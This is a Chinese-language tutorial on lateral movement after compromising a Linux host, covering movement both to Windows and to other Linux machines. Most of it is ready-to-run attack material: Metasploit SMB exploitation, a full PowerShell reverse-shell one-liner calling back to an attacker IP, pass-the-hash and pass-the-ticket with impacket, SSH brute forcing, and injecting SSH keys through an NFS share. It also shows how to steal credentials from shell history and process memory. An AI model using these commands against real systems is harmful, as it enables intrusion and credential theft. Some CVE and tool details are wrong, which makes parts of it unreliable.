内网后渗透攻击--linux系统(横向移动)
用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
继续进行后渗透的攻击之旅,这次我们来讲横向移动,Linux的横向移动和windows的横向移动有很大的不同,在上一篇文章中我们已经进行了了解,现在我们就讲述了如何进行横向移动。linux的横向移动有两种情景,这是鉴于在不同的域环境下,也就是说看域环境是不是混合域,所以这里我们主要讲述linux和windows的横向移动以及linux之间的横向移动。
一、linux向windows进行横向移动
在基于上一篇我们已经获得root权限的情况下,我们来进行横向移动,下面可以通过攻击机在目标机下载一些跨平台工具
Linux 端需提前部署跨平台攻击工具,常用工具集包括:
impacket
:跨平台 Windows 协议攻击工具(支持 SMB、RDP、WinRM 等),通过pip install impacket
安装。metasploit-framework
:漏洞利用框架(Linux 版与 Windows 版功能一致),通过apt install metasploit-framework
(Debian/Ubuntu)或源码编译安装。crackmapexec(CME)
:批量测试 Windows 凭证 / 协议的工具,通过pip install crackmapexec
安装。tcpdump/wireshark
:网络嗅探工具,用于捕获域内凭证(需root
权限)。
在进行横向移动,我们需要对域内主机进行信息收集。
收集ip地址信息
我们都知道在处于一个域内的服务器,都是处于一个网段的,所以我们可以通过扫描网段进行ip地址收集,使用工具nmap,命令如下
nmap -sn 192.168.1.0/24 -oG live_hosts.txt
端口特征扫描(识别 Windows 特有端口)
# 用nmap扫描在线主机的Windows特征端口(445、3389、139)
# 从方法1的结果中提取在线IP,保存为live_ips.txt(每行一个IP)
cat live_hosts.txt | grep "Up" | awk '{print $2}' > live_ips.txt# 扫描这些IP的Windows特征端口
sudo nmap -p 139,445,3389 -iL live_ips.txt -oG windows_ports.txt
NetBIOS 协议扫描(直接识别 Windows 主机名)
# 安装nbtscan(Linux下的NetBIOS扫描工具)
sudo apt install nbtscan # Debian/Ubuntu
sudo yum install nbtscan # CentOS/RHEL# 扫描网段内的NetBIOS信息
nbtscan 192.168.1.0/24
获得域控的ip地址和主机名
操作系统指纹识别(精确判断是否为 Windows)
# 对在线IP进行操作系统探测(-O表示启用OS识别,需root权限)
sudo nmap -O -iL live_ips.txt -oG os_detection.txt
可以看到除了开放的端口,还有相应的操作系统(windows server 2019)
利用 DNS 和域信息(域环境专用)
查看域环境信息
realm list
通过域名和DNS查询
# 1. 查询域内DNS记录(需知道域名,如domain.com)
# 查看域控制器IP(域内Windows主机通常向DC注册DNS)
host -t SRV _ldap._tcp.dc._msdcs.domain.com # 获取域控制器IP(如192.168.1.10)# 2. 从域控制器枚举所有计算机(需域用户凭证,可尝试匿名查询)
# 使用ldapsearch查询域内计算机(Windows主机在域中以computer对象存在)
ldapsearch -x -h 192.168.1.10 -b "DC=domain,DC=com" "(objectCategory=computer)" dNSHostName
# 结果中"dNSHostName"字段为Windows主机名+域名,如"WIN10-PC.domain.com"
# 再通过host命令解析IP:host WIN10-PC.domain.com → 得到192.168.1.100
查询不到 SRV 记录时,通常意味着目标域(如hack.com
)的 DNS 配置不规范,或域控制器未正确注册 SRV 记录
ok,我们获得另一个目标机的基本情况,接下来就可以进行横向移动
一、无凭证横向移动:利用 Windows 漏洞 / 配置缺陷
若未获取 Windows 服务器的任何凭证,需通过 Linux 端工具利用 Windows 的已知漏洞或默认配置缺陷,直接获取权限。
方法 1:利用 SMB 协议漏洞(永恒之蓝 / BlueKeep 等)
Windows 的 SMB 协议(445 端口)历史上存在多个高危漏洞,可直接远程执行命令,Linux 端可通过metasploit
或漏洞 EXP 触发。
典型漏洞:
- MS17-010(永恒之蓝):影响 Windows 7/Server 2008 及以下版本,通过 SMBv1 漏洞执行代码。
- CVE-2020-0796(SMBv3 远程代码执行):影响 Windows 10/Server 2019 等新版本。
- CVE-2019-0708(BlueKeep):RDP 协议漏洞,影响 Windows XP/Server 2003/2008 等,可远程获取 shell。
操作步骤(以CVE-2020-0796 为例,基于 metasploit):
- 启动 metasploit:
msfconsole
。 - 搜索并加载模块:
search CVE-2020-0796 # 找到exploit/windows/smb/ms17_010_eternalblue use exploit/windows/smb/cve_2020_0796_smbghost
- 配置目标参数:
set RHOSTS 192.168.1.100 # Windows目标IP set LHOST 192.168.1.200 # Linux攻击机IP(用于接收反弹shell) set PAYLOAD windows/x64/meterpreter/reverse_tcp # 反弹Meterpreter会话(支持后续操作)
- 执行攻击:
run
。若漏洞存在,将获取 Windows 的 Meterpreter 会话(可执行shell
进入 CMD)。
方法 2:利用 Windows 远程管理协议(WinRM/RDP)的默认配置
部分 Windows 服务器可能开放 WinRM(5985/5986 端口,HTTP/HTTPS)或 RDP(3389 端口),且存在弱口令、默认账号等配置缺陷,Linux 端可通过工具暴力破解或直接连接。
-
WinRM 协议利用(基于
evil-winrm
工具):
WinRM 是 Windows 默认远程管理协议,若目标开启且有弱口令,可通过 Linux 端evil-winrm
直接登录:- 安装
evil-winrm
:gem install evil-winrm
(需先安装 Ruby 环境)。 - 尝试弱口令登录(或已知口令):
evil-winrm -i 192.168.1.100 -u administrator -p "Admin@123" # 成功后直接进入Windows命令行
- 安装
-
RDP 协议利用(基于
rdesktop
/xfreerdp
):
RDP 是 Windows 图形化远程桌面协议,若目标开放 3389 且有凭证,可在 Linux 端通过图形化工具连接:- 安装
rdesktop
:apt install rdesktop
。 - 连接 Windows 桌面:
rdesktop -u administrator -p "Admin@123" 192.168.1.100 # 弹出图形化桌面,直接操作Windows
- 安装
方法 3:利用 Windows 文件共享(SMB)的匿名访问 / 写入权限
部分 Windows 服务器为方便共享,可能配置 SMB 匿名访问(无需账号密码即可访问共享文件夹)或共享文件夹有写入权限,可通过 Linux 端工具上传恶意脚本并触发执行。
- 操作步骤:
- 用
smbclient
探测 Windows 共享目录:smbclient -L //192.168.1.100/ -N # -N表示匿名登录,列出所有共享目录
- 若发现可写入的共享目录(如
//192.168.1.100/Shared
),挂载到 Linux 本地:mount -t cifs //192.168.1.100/Shared /mnt/win -o username=guest,password= # 匿名挂载
- 生成 Windows 恶意脚本(如
reverse.bat
,反弹 CMD 到 Linux):# reverse.bat内容(需替换Linux攻击机IP和端口) powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.200',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
- 将
reverse.bat
上传到 Windows 共享目录:cp reverse.bat /mnt/win/
。 - 在 Linux 端监听端口:
nc -lvp 4444
。 - 触发脚本执行(如等待 Windows 用户双击、通过计划任务调用,或利用 SMB 共享的访问触发),成功后获取 Windows 反弹 CMD。
- 用
三、有凭证横向移动:从 Linux 端窃取并复用 Windows 凭证
若 Linux 服务器与 Windows 服务器在同一域内,或 Linux 上存储了 Windows 的凭证(如管理员在 Linux 上输入过 Windows 账号密码),可通过窃取凭证后直接复用,实现 “合法” 登录 Windows。
方法 1:从 Linux 端嗅探域内 Windows 凭证
若 Linux 与 Windows 在同一局域网,可通过tcpdump
或wireshark
嗅探 SMB/RDP 协议的明文凭证(需目标未启用加密,或加密被破解)。
- 操作步骤:
- 在 Linux 端用
tcpdump
过滤 SMB 协议流量(445 端口):tcpdump -i eth0 port 445 -w smb_traffic.pcap # 捕获SMB流量到pcap文件
- 用
tshark
(wireshark 命令行版)分析 pcap 文件,提取凭证:tshark -r smb_traffic.pcap -Y "smb.cmd == 0x11 and smb.ntlmssp.username" # 过滤SMB登录请求,提取用户名 tshark -r smb_traffic.pcap -Y "smb.ntlmssp.response" -T fields -e smb.ntlmssp.response # 提取NTLM哈希
- 若获取到 NTLM 哈希(如
deadbeefdeadbeefdeadbeefdeadbeef
),可通过impacket
的psexec.py
进行哈希传递(Pass-the-Hash,PtH),无需明文密码:
成功后将直接获取 Windows 的 SYSTEM 权限 CMD。psexec.py administrator@192.168.1.100 -hashes :deadbeefdeadbeefdeadbeefdeadbeef # 格式:-hashes LM哈希:NTLM哈希(LM为空则用:开头)
- 在 Linux 端用
方法 2:从 Linux 配置文件 / 内存中提取 Windows 凭证
管理员在 Linux 服务器上操作时,可能将 Windows 凭证存储在配置文件、日志或进程内存中,可通过以下方式提取:
-
提取配置文件中的凭证:
检查 Linux 上与 Windows 交互的应用配置(如 Samba 客户端、数据库连接工具、远程管理脚本):# 搜索包含Windows IP/用户名的文件 grep -r "192.168.1.100" /etc/ /home/ /var/log/ # 搜索目标Windows IP grep -r "administrator" /home/*/.ssh/ /home/*/.bash_history # 搜索Windows常见用户名
若找到明文密码(如
/home/user/win_login.sh
中存储win_pwd=Admin@123
),直接用于后续登录。 -
提取 Linux 进程内存中的凭证:
若管理员在 Linux 上通过smbclient
、evil-winrm
等工具登录过 Windows,凭证可能暂存于进程内存中,可用volatility
(Linux 版)提取:# 1. 获取目标进程PID(如smbclient进程) ps aux | grep smbclient # 假设PID为1234 # 2. 用volatility分析进程内存 volatility -f /proc/1234/mem --profile=LinuxUbuntu64 -p 1234 strings | grep -i "password" # 搜索内存中的密码字符串
方法 3:利用域内凭证复用(Pass-the-Ticket,PtT)
若 Linux 服务器已加入域(或可获取域用户凭证),可通过impacket
的getTGT.py
生成域票据,再通过ptt.py
加载票据,复用域权限访问 Windows 服务器(需目标 Windows 属于同一域)。
- 操作步骤:
- 生成域用户 TGT 票据(需域用户名和密码 / 哈希):
getTGT.py domain.com/administrator -hashes :deadbeefdeadbeefdeadbeefdeadbeef # 生成administrator@DOMAIN.COM.ccache票据
- 加载票据到 Linux 环境变量:
export KRB5CCNAME=administrator@DOMAIN.COM.ccache
- 用
smbclient
或psexec.py
通过 Kerberos 认证访问 Windows:psexec.py domain.com/administrator@192.168.1.100 -k # -k表示使用Kerberos票据认证
- 生成域用户 TGT 票据(需域用户名和密码 / 哈希):
二、从linux横向移动到linux
一、前期信息收集(已控 Linux 主机上执行)
横向移动前需先定位目标 Linux 主机并收集关键信息:
-
确定网段与存活主机
# 查看当前Linux的IP和子网(如192.168.1.0/24) ip addr show# 扫描网段内存活主机(ICMP扫描) for ip in 192.168.1.{1..254}; do ping -c 1 -W 1 $ip >/dev/null && echo "$ip 在线"; done &# 扫描Linux特征端口(22/SSH、139/SMB、2049/NFS、5900/VNC等) nmap -p 22,139,445,2049,5900 192.168.1.0/24 --open -oG linux_targets.txt
-
识别目标 Linux 系统信息
通过端口服务版本判断(如 SSH 版本、NFS 共享等):# 查看目标22端口的SSH版本(可能存在漏洞) nmap -sV -p 22 192.168.1.101 # 输出如"OpenSSH 7.6p1"
二、基于 “凭证复用” 的横向移动(最常见)
若已获取目标 Linux 主机的凭证(用户名 / 密码、SSH 密钥、sudo 权限),可直接通过以下方式登录:
1. SSH 协议(22 端口)—— Linux 默认远程管理协议
SSH 是 Linux 横向移动的核心通道,支持密码登录、密钥登录和代理转发。
-
场景 1:已知明文密码
# 直接SSH登录 ssh username@192.168.1.101 # 输入密码后登录# 非交互式登录(适合脚本批量操作) sshpass -p "password" ssh username@192.168.1.101 "whoami" # 需要安装sshpass
-
场景 2:获取 SSH 私钥(最隐蔽)
Linux 用户的 SSH 密钥通常存储在~/.ssh/id_rsa
(私钥)和~/.ssh/authorized_keys
(授权登录列表)中,若已控主机上有目标主机的密钥:# 用私钥登录目标 ssh -i /path/to/stolen_id_rsa username@192.168.1.101# 若私钥有密码,可尝试破解(需John the Ripper) ssh2john /path/to/stolen_id_rsa > id_rsa.hash john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
-
场景 3:SSH 代理转发(通过跳板机横向)
若已控主机可 SSH 登录目标,但本地无法直接访问目标,可通过代理转发:# 在已控主机上开启代理转发 ssh -D 1080 username@跳板机IP # 本地1080端口转发到跳板机# 通过代理登录目标(需proxychains) proxychains ssh username@192.168.1.101
2. SCP/SFTP(基于 SSH 的文件传输)
若需向目标 Linux 上传恶意文件(如后门、提权脚本),可通过 SCP/SFTP:
# SCP上传文件
scp /path/to/malware.sh username@192.168.1.101:/tmp/# SFTP交互式传输
sftp username@192.168.1.101
sftp> put malware.sh /tmp/ # 上传文件
sftp> exit
三、利用 “服务漏洞或配置缺陷” 的横向移动
若未获取凭证,可利用 Linux 服务的漏洞(如 SSH 漏洞、NFS 配置错误)或弱口令爆破。
1. SSH 弱口令 / 默认口令爆破
通过工具批量测试目标 Linux 的 SSH 弱口令:
# 使用hydra爆破SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.101 -t 4 # 爆破root用户# 使用medusa(效率更高)
medusa -h 192.168.1.101 -u username -P passwords.txt -M ssh
2. NFS 共享配置错误(2049 端口)
Linux 常通过 NFS 共享目录,若配置为no_root_squash
(允许 root 权限访问),可挂载共享并写入恶意文件:
# 1. 查看目标NFS共享
showmount -e 192.168.1.101 # 输出如"/data *"(允许所有IP访问)# 2. 挂载共享到本地
mkdir /mnt/nfs_target
mount -t nfs 192.168.1.101:/data /mnt/nfs_target# 3. 写入恶意文件(如添加SSH公钥到目标的authorized_keys)
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB..." > /mnt/nfs_target/home/username/.ssh/authorized_keys
3. 利用 Linux 服务漏洞(如 SSH 漏洞、Samba 漏洞)
-
CVE-2018-15473(OpenSSH 用户名枚举漏洞):通过 timing 攻击枚举存在的用户名,辅助爆破。
# 使用工具枚举用户名 python3 ssh-user-enum.py -u usernames.txt -t 192.168.1.101
-
CVE-2021-41190(Polkit 本地提权漏洞):若目标 Linux 存在此漏洞,可先通过低权限登录(如爆破获得普通用户),再提权至 root(适用于横向后提权)。
四、通过 “凭证窃取” 获取横向权限
若已控 Linux 主机上存储了其他 Linux 主机的凭证(如历史命令、配置文件),可直接提取复用:
1. 提取历史命令中的凭证
# 查看当前用户的历史命令(可能包含ssh、scp的密码)
cat ~/.bash_history | grep -E "ssh|scp|password"# 查看其他用户的历史(需权限)
cat /home/otheruser/.bash_history
2. 窃取 sudo 缓存凭证
Linux 的sudo
会缓存密码(默认 15 分钟),可通过memtool
或gcore
提取内存中的密码:
# dump sudo进程内存
pgrep sudo # 获取sudo进程PID
gcore -o sudo_mem <PID> # 导出内存到文件# 从内存文件中搜索密码(需结合字符串分析)
strings sudo_mem.<PID> | grep -i "password"
3. 利用 SSH-agent 转发(窃取代理中的密钥)
若已控主机开启了ssh-agent
(用于临时存储密钥),可通过代理获取其他主机的登录权限:
# 查看当前代理中的密钥
ssh-add -l # 列出代理中的密钥指纹# 利用代理登录目标(无需显式密钥)
ssh -A username@192.168.1.101 # -A开启代理转发
三、总结
Linux 横向移动(横向渗透)的最大特点,源于 Linux 系统多用户权限架构、原生远程管理机制、轻量服务生态的底层特性,核心可概括为:“强依赖权限控制与凭证复用,以系统原生工具为主要载体,受限于分散式权限架构而非集中化域控”。其具体特点需结合 Linux 与 Windows(如域环境)的差异展开,主要体现在以下 4 个维度:
1. 权限是横向移动的 “绝对前提”,无权限则无渗透可能
Linux 基于 “最小权限原则” 设计,多用户、多组别的权限划分(rwx
、uid/gid
、sudo
)极为严格,横向移动的第一步必然是获取目标主机的有效权限凭证,而非依赖 Windows 中常见的 “漏洞直接突破”(如 SMB 漏洞、RDP 漏洞)。
- 若当前权限为普通用户,仅能横向移动到该用户有权访问的其他主机(如共享 SSH 密钥的节点);
- 若未获取
root
或sudo
权限,几乎无法跨用户、跨节点执行高权限操作(如修改系统配置、安装后门); - 典型场景:攻击者需先通过
/etc/shadow
破解密码哈希、窃取~/.ssh/id_rsa
私钥、或利用sudo
配置漏洞(如 CVE-2021-3156)提权,才能获得横向移动的 “权限基础”。
2. 凭证复用是核心手段,SSH 是最主要载体
Linux 无 Windows 那样的 “域控(AD)” 集中化管理架构(除非额外部署 FreeIPA、Samba 域控),远程管理几乎依赖SSH 协议,因此横向移动的核心是复用已获取的 SSH 凭证,而非依赖多协议漏洞(如 Windows 的 SMB、RDP、WinRM)。
常见凭证复用方式包括:
- SSH 密钥复用:窃取目标主机上用户的
~/.ssh/id_rsa
(私钥)或~/.ssh/known_hosts
(信任列表),直接免密登录其他节点; - 密码 / 哈希复用:破解
/etc/shadow
中的密码哈希(如$6$
开头的 SHA-512 哈希),或利用sshpass
、expect
等工具批量尝试弱密码; - SSH Agent 转发:利用目标主机上已开启的
ssh-agent
(临时存储密钥的进程),通过ssh -A
转发密钥,免密登录其他信任节点(无需复制私钥,隐蔽性更高)。
3. 依赖系统原生工具,极少需要 “第三方恶意程序”
Linux 系统默认预装大量轻量、高效的原生工具,攻击者无需上传复杂恶意软件(如 Windows 的 PsExec、Mimikatz),即可通过系统自带命令实现横向移动,隐蔽性更强(防御者难区分 “正常操作” 与 “恶意行为”)。
典型原生工具场景:
- 远程文件传输:
scp
(复制后门 / 脚本到目标主机)、rsync
(同步敏感文件); - 远程命令执行:
ssh user@target "cmd"
(直接在目标主机执行命令,无需交互); - 后门植入:利用
crontab
(定时任务)、~/.bashrc
(用户登录自启脚本)、sshd_config
(修改 SSH 配置留后门),均为系统原生功能; - 网络探测:
nmap
(部分系统预装)、ping
、netstat
(探测存活节点与开放端口)。
4. 无统一 “域控入口”,横向移动呈 “分散式”
Windows 横向移动常以 “域控(DC)” 为核心突破点(拿下 DC 即可控制整个域),而 Linux 默认无集中化管理节点,横向移动呈 **“点对点分散式”** —— 攻击者需逐个突破独立节点,且节点间的权限不互通(除非配置了统一的密钥管理或 LDAP 认证)。
- 若目标环境是 “无统一认证的 Linux 集群”(如多台独立服务器),攻击者需为每台主机单独获取凭证(如不同主机的 SSH 密钥不同);
- 仅当环境部署了集中化认证工具(如 FreeIPA、OpenLDAP、Jump Server 跳板机)时,才可能通过突破 “集中节点” 实现批量横向移动(但此类场景较少,且需针对性攻击认证服务)。
总结:与 Windows 横向移动的核心差异
维度 | Linux 横向移动 | Windows 横向移动 |
---|---|---|
核心依赖 | 权限凭证(SSH 密钥 / 密码)+ 原生工具 | 域控权限 + 多协议漏洞(SMB/RDP/WinRM) |
集中化程度 | 分散式(无默认域控) | 集中式(以 DC 为核心) |
工具依赖 | 系统原生命令(ssh/scp/crontab) | 第三方工具(PsExec/BloodHound/Mimikatz) |
权限门槛 | 无权限则完全无法移动 | 可通过漏洞绕过权限(如 SMB 漏洞) |
简言之,Linux 横向移动的 “最大特点” 是权限与凭证驱动 —— 所有操作均围绕 “获取有效凭证、利用原生工具、逐个突破节点” 展开,无权限或无凭证则几乎无法推进,这与 Windows 依赖域控和漏洞的渗透逻辑有本质区别。